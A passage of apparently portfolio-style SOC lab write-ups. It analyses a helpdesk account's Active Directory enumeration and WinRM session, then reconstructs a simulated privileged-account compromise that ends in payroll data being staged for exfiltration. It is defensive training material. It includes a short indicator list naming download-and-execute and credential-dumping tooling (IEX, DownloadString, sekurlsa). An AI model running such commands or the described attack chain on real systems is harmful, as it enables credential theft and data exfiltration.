This represents broad Active Directory reconnaissance followed by enumeration of a highly privileged group.

For a SOC analyst, the important distinction is:

The command is not inherently malicious; the behaviour and context are what make it suspicious.

2. Initial Classification

Classification: SUSPICIOUS

At this stage, I would classify the activity as Suspicious, rather than immediately declaring an incident.

There is not yet enough evidence to demonstrate compromise.

The account is named HelpDesk01, which provides a credible legitimate explanation for administrative activity.

A legitimate helpdesk workflow could involve:

HelpDesk01
     ↓
CLIENT14
     ↓
PowerShell
     ↓
Active Directory queries
     ↓
Identify CLIENT15
     ↓
Remote PowerShell session
     ↓
Get-Process
     ↓
Get-Service

For example, a helpdesk technician troubleshooting CLIENT15 could legitimately use these commands to identify the computer, inspect its services and investigate a problem.

Therefore, the correct SOC response at this point is:

Investigate further — do not prematurely escalate.

3. The Critical Question: Could This Be Legitimate?

Yes.

The presence of:

Enter-PSSession -ComputerName CLIENT15

does not automatically establish malicious lateral movement.

Helpdesk personnel commonly use remote administration technologies to troubleshoot endpoints.

The activity could represent:

• Troubleshooting a workstation
• Investigating a service failure
• Checking running processes
• Performing software maintenance
• Responding to a user support ticket

The key question becomes:

Was HelpDesk01 expected to perform this activity from CLIENT14 against CLIENT15 at this time?

This requires additional context outside the individual security events.

4. First Splunk Investigation Pivot

My first investigation would establish the complete activity surrounding the suspicious PowerShell enumeration.

A useful initial search would be:

index=wineventlog
(EventCode=4624 OR EventCode=4688 OR EventCode=4104 OR EventCode=4769 OR EventCode=3)
("HelpDesk01" OR "Get-ADGroupMember" OR "CLIENT14")
| sort _time

This provides a broader view of:

• Authentication
• Process creation
• PowerShell activity
• Kerberos activity
• Network communication

I would also investigate a wider time window before and after the alert rather than restricting the investigation to the exact events supplied.

For example:

index=wineventlog
earliest=-2h latest=+2h
"HelpDesk01"
| sort _time

The purpose is to answer:

What happened before 09:14 and what happened after 09:16?

5. LogonGUID and ProcessGUID Correlation

Once the relevant authentication event has been identified, I would use available identifiers to correlate activity.

LogonGUID

LogonGUID is useful for answering:

Which activity is associated with this authentication session?

For example:

4624
   ↓
LogonGUID
   ↓
subsequent activity

This can help establish whether multiple events belong to the same logon context.

ProcessGUID

ProcessGUID answers a different question:

Which process instance generated or spawned this activity?

For example:

explorer.exe
      ↓
mmc.exe
      ↓
powershell.exe
      ↓
child process

Therefore, I would not rely exclusively on LogonGUID.

I would use:

LogonGUID → authentication/session context

and

ProcessGUID → process execution context

This provides a stronger investigation model.

6. CLIENT15: Is This Lateral Movement?

At first glance:

CLIENT14
    ↓
PowerShell
    ↓
Enter-PSSession
    ↓
CLIENT15
    ↓
4624 Type 3
    ↓
wsmprovhost.exe
    ↓
Get-Process
    ↓
Get-Service

looks like lateral movement.

However, I would not immediately classify it as malicious lateral movement.

The evidence establishes remote administration, but not attacker intent.

The activity is also technically consistent with legitimate WinRM administration.

The presence of:

wsmprovhost.exe

on CLIENT15 is particularly important because it is consistent with a remote PowerShell session being hosted through Windows Remote Management.

Therefore:

Remote administration has been established, but malicious lateral movement has not yet been established.

This distinction is important in a real SOC because incorrectly treating legitimate helpdesk activity as an attack can generate significant false positives.

7. Evidence Required Before Escalation

The next stage of the investigation would focus on establishing whether HelpDesk01 was expected to perform this activity.

Account Role

I would verify:

• Is HelpDesk01 a legitimate helpdesk account?
• Who is assigned to the account?
• What systems is the account normally permitted to administer?
• Does the account normally use CLIENT14?
• Is CLIENT15 within its support scope?

Change and Ticket Records

I would search the helpdesk/ticketing system for:

• An active ticket involving CLIENT15
• A troubleshooting request
• A scheduled maintenance activity
• A software deployment
• A service investigation

A matching ticket would substantially reduce suspicion.

Historical Behaviour

I would compare the current activity with the account’s historical baseline.

Questions include:

• Has HelpDesk01 previously logged into CLIENT14?
• Has it previously administered CLIENT15?
• Does it normally use PowerShell?
• Does it normally use WinRM?
• Has it previously queried Domain Admins?
• Is this activity occurring during normal working hours?

A sudden deviation from the account’s normal behaviour would increase risk.

8. PowerShell Investigation

PowerShell 4104 logs should be reviewed on both CLIENT14 and CLIENT15.

I would specifically look for:

• Encoded commands
• Obfuscated scripts
• Download activity
• Credential access
• Discovery commands beyond normal troubleshooting
• Persistence mechanisms
• Security-control modification
• External network communication

The current commands:

Get-Process
Get-Service

are relatively benign and strongly compatible with troubleshooting.

However, if additional commands appeared such as:

Invoke-WebRequest
DownloadString
IEX
Get-Credential
sekurlsa
whoami /all

the assessment would change significantly.

9. WinRM and Network Investigation

The Sysmon Event ID 3 connection to:

10.0.0.10:5985

would be investigated to establish whether the destination corresponds to CLIENT15 or another approved management endpoint.

I would verify:

• Destination hostname
• Source process
• Connection frequency
• Whether CLIENT14 normally administers CLIENT15
• Other systems contacted by HelpDesk01
• Whether external destinations were contacted

A connection to an approved internal management endpoint is considerably less concerning than unexpected external communication.

10. What Happened Before 09:14?

This is one of the most important unanswered questions.

I would investigate the preceding hours for:

• Initial logon
• Failed authentication
• Phishing-related activity
• Suspicious process execution
• Malware alerts
• New services
• Scheduled tasks
• Registry persistence
• Downloads
• Browser activity
• Privilege escalation
• Unusual network connections

If suspicious activity preceded the HelpDesk session, the likelihood of account compromise would increase significantly.

11. What Happened After 09:16?

I would continue monitoring CLIENT14 and CLIENT15 for:

• Credential dumping
• New persistence
• File creation
• Malware execution
• Additional remote sessions
• Lateral movement to other hosts
• External connections
• Data access
• Security-tool tampering

The current evidence ends shortly after legitimate-looking troubleshooting commands.

Therefore, the investigation should remain open until sufficient surrounding telemetry has been reviewed.

12. Current Assessment

Based solely on the evidence provided:

Severity

Low–Moderate Suspicion

Classification

Suspicious — Pending Validation

Confidence

Moderate

Rationale

The strongest suspicious behaviour is the sequence:

Get-ADComputer -Filter *
        ↓
Get-ADUser -Filter *
        ↓
Get-ADGroupMember "Domain Admins"
        ↓
Remote PowerShell
        ↓
CLIENT15

However, the account’s helpdesk role provides a credible legitimate explanation.

The remote session also performs:

Get-Process
Get-Service

which are highly consistent with endpoint troubleshooting.

At present, there is insufficient evidence to confidently classify the activity as malicious.

13. Conditions That Would Increase Severity

I would escalate the investigation if additional telemetry revealed:

• HelpDesk01 logging into an unusual workstation
• No corresponding support ticket
• After-hours activity inconsistent with the user’s schedule
• Credential dumping
• Encoded or obfuscated PowerShell
• Malware execution
• Persistence creation
• Access to unrelated sensitive systems
• External command-and-control communication
• Attempts to disable security controls
• Repeated lateral movement
• Access to sensitive data outside the account’s normal responsibilities

The investigation would move from:

Suspicious → Confirmed Incident

once evidence demonstrated unauthorized activity or compromise.

14. SOC Analyst Takeaway

This investigation reinforced an important principle:

Context determines whether an event is suspicious.

A PowerShell command such as:

Get-ADComputer -Filter *

is not automatically malicious.

Neither is:

Enter-PSSession -ComputerName CLIENT15

nor:

Get-Service

But when these events occur together, they create a behavioural pattern that deserves investigation.

At the same time, the presence of a legitimate helpdesk account and a plausible troubleshooting workflow prevents the analyst from prematurely declaring an incident.

The correct SOC approach is therefore:

Detect
   ↓
Investigate
   ↓
Correlate
   ↓
Validate Context
   ↓
Assess Risk
   ↓
Escalate if Evidence Supports It

Skills Demonstrated

This investigation strengthened practical skills in:

• Splunk event correlation
• Windows Security Event analysis
• PowerShell 4104 investigation
• Sysmon network telemetry
• Process ancestry analysis
• LogonGUID investigation
• ProcessGUID investigation
• Active Directory reconnaissance detection
• WinRM investigation
• Lateral movement analysis
• False-positive reduction
• SOC triage and escalation decisions

Conclusion

The HelpDesk01 case demonstrates why effective SOC analysis requires more than identifying suspicious commands.

The initial Active Directory enumeration was concerning, but the legitimate role of the account created an alternative explanation. The subsequent WinRM session to CLIENT15 could represent either attacker lateral movement or legitimate remote administration.

Rather than immediately escalating, the appropriate response is to correlate authentication, process, PowerShell, network and historical activity while validating the account’s role and associated support activity.

This investigation reinforced the importance of behavioural context, historical baselining and evidence-driven escalation in SOC operations.

Investigating Active Directory Reconnaissance, Lateral Movement, and Suspected Data Exfiltration

Overview

This case study documents a simulated Security Operations Center (SOC) investigation in which multiple Windows Security Events, Sysmon logs and PowerShell telemetry were correlated to determine whether suspicious administrator activity represented legitimate administration or an active compromise.

Unlike previous labs that focused on individual Event IDs, this exercise required reconstructing the complete attack timeline, determining when suspicious behaviour became a security incident, assessing impact, mapping activity to the MITRE ATT&CK framework and recommending containment and recovery actions.

Objectives

• Correlate multiple Windows events into one attack story.
• Identify attacker behaviour across multiple hosts.
• Determine the earliest point of suspicion.
• Decide when to declare an incident.
• Scope affected assets and data.
• Recommend containment and recovery actions.
• Map observed behaviour to MITRE ATT&CK.

Lab Environment

Incident Evidence

The following alerts were provided for investigation.

Event 1

09:18:02

CLIENT02
Event ID 4624
User: SOCAdmin
Logon Type: 2 (Interactive)

Event 2

CLIENT02
Sysmon Event ID 1

Parent:
explorer.exe

Process:
powershell.exe

Command:
whoami

Event 3

PowerShell 4104
Get-ADDomain

Event 4

PowerShell 4104
Get-ADComputer -Filter *

Event 5

PowerShell 4104
Get-ADGroupMember "Domain Admins"

Event 6

DC01
Event ID 4769
Service: ldap/DC01

Event 7

DC01
Event ID 4769
Service: HOST/DC01

Event 8

CLIENT02
Sysmon Event ID 3

powershell.exe

Destination:
192.168.56.10

Port:
389 (LDAP)

Event 9

CLIENT02
Event ID 4688

powershell.exe

net use \\FILESERVER01\Finance

Event 10

FILESERVER01

4624

SOCAdmin

Logon Type 3

Source:
CLIENT02

Event 11

FILESERVER01

4663

Payroll2026.xlsx

ReadData

Event 12

FILESERVER01

4663

Payroll2026.xlsx

WriteData

Event 13

CLIENT02

4688

Compress-Archive Payroll2026.xlsx Payroll.zip

Event 14

CLIENT02

Sysmon Event 3

powershell.exe

172.64.152.44

443

Event 15

CLIENT02

4688

Remove-Item Payroll.zip

Executive Summary

The investigation identified behaviour consistent with a compromised privileged account performing Active Directory reconnaissance, accessing sensitive financial information, preparing data for exfiltration and attempting to remove forensic evidence.

The activity began with PowerShell-based domain enumeration before progressing to lateral access of FILESERVER01, interaction with a payroll spreadsheet, archive creation, suspicious outbound HTTPS communication and deletion of the archive.

Although individual events could be legitimate, the combined sequence strongly indicated malicious activity requiring immediate incident response.

Timeline Reconstruction

1. SOCAdmin logged onto CLIENT02 interactively.
2. PowerShell was launched and the attacker verified execution context using whoami.
3. Active Directory reconnaissance was performed using Get-ADDomain, Get-ADComputer and Get-ADGroupMember.
4. Kerberos service tickets and LDAP communication confirmed interaction with DC01.
5. A connection was established to the Finance share on FILESERVER01.
6. Payroll2026.xlsx was read and modified.
7. The spreadsheet was archived into Payroll.zip.
8. PowerShell established an outbound HTTPS connection to 172.64.152.44.
9. Payroll.zip was deleted, suggesting an attempt to remove evidence.

MITRE ATT&CK Mapping

Earliest Point of Suspicion

The earliest indicator was the execution of whoami immediately after interactive logon.

While legitimate, it became suspicious because it was immediately followed by extensive Active Directory enumeration. Together these actions resembled attacker reconnaissance far more than routine administration.

Incident Declaration

The activity became a confirmed security incident once Payroll2026.xlsx was accessed on FILESERVER01.

At this stage confidentiality had been impacted and the attack had progressed beyond reconnaissance into unauthorized access of sensitive business data.

Scope Assessment

Affected Systems

• CLIENT02
• FILESERVER01
• DC01

Affected Account

• SOCAdmin

Affected Data

• Payroll2026.xlsx
• Finance Share

Additional Telemetry

Further investigation should include:

• PowerShell Script Block Logging (4104) to recover executed commands.
• Sysmon Event ID 1 for parent-child process analysis.
• DNS queries to resolve external infrastructure.
• Firewall/Proxy logs to confirm successful exfiltration.
• Event ID 4672 to identify privileged logons.
• Scheduled Tasks, Services and Registry Run Keys to identify persistence.
• EDR telemetry for additional malicious activity.

Containment

Immediate priorities:

1. Isolate CLIENT02.
2. Protect FILESERVER01.
3. Disable SOCAdmin pending investigation.
4. Revoke Kerberos tickets and active sessions.
5. Block outbound communication to the suspicious IP.
6. Preserve forensic evidence before remediation.

Recovery

• Restore affected files if integrity was compromised.
• Reset privileged credentials.
• Validate payroll data.
• Review privileged workstation policies.
• Perform forensic review of affected hosts.

Lessons Learned

This exercise demonstrated that high-confidence detection depends on correlating authentication events, PowerShell telemetry, file access, archive creation and network activity rather than relying on isolated alerts.

Monitoring privileged account usage, Active Directory reconnaissance and archive creation followed by outbound HTTPS communication can significantly improve early detection.

Skills Demonstrated

• Splunk investigation
• Windows Event Log analysis
• Sysmon analysis
• PowerShell investigation
• Active Directory security
• MITRE ATT&CK mapping
• Threat hunting
• Incident response
• Event correlation

Conclusion

This case study simulated the workflow expected of a Tier 1/Tier 2 SOC Analyst. By correlating telemetry from multiple Windows log sources, I reconstructed the attack lifecycle, identified the impact, recommended containment actions and mapped observed behaviour to MITRE ATT&CK.

The exercise reinforced the importance of contextual analysis and event correlation in modern Security Operations Centers.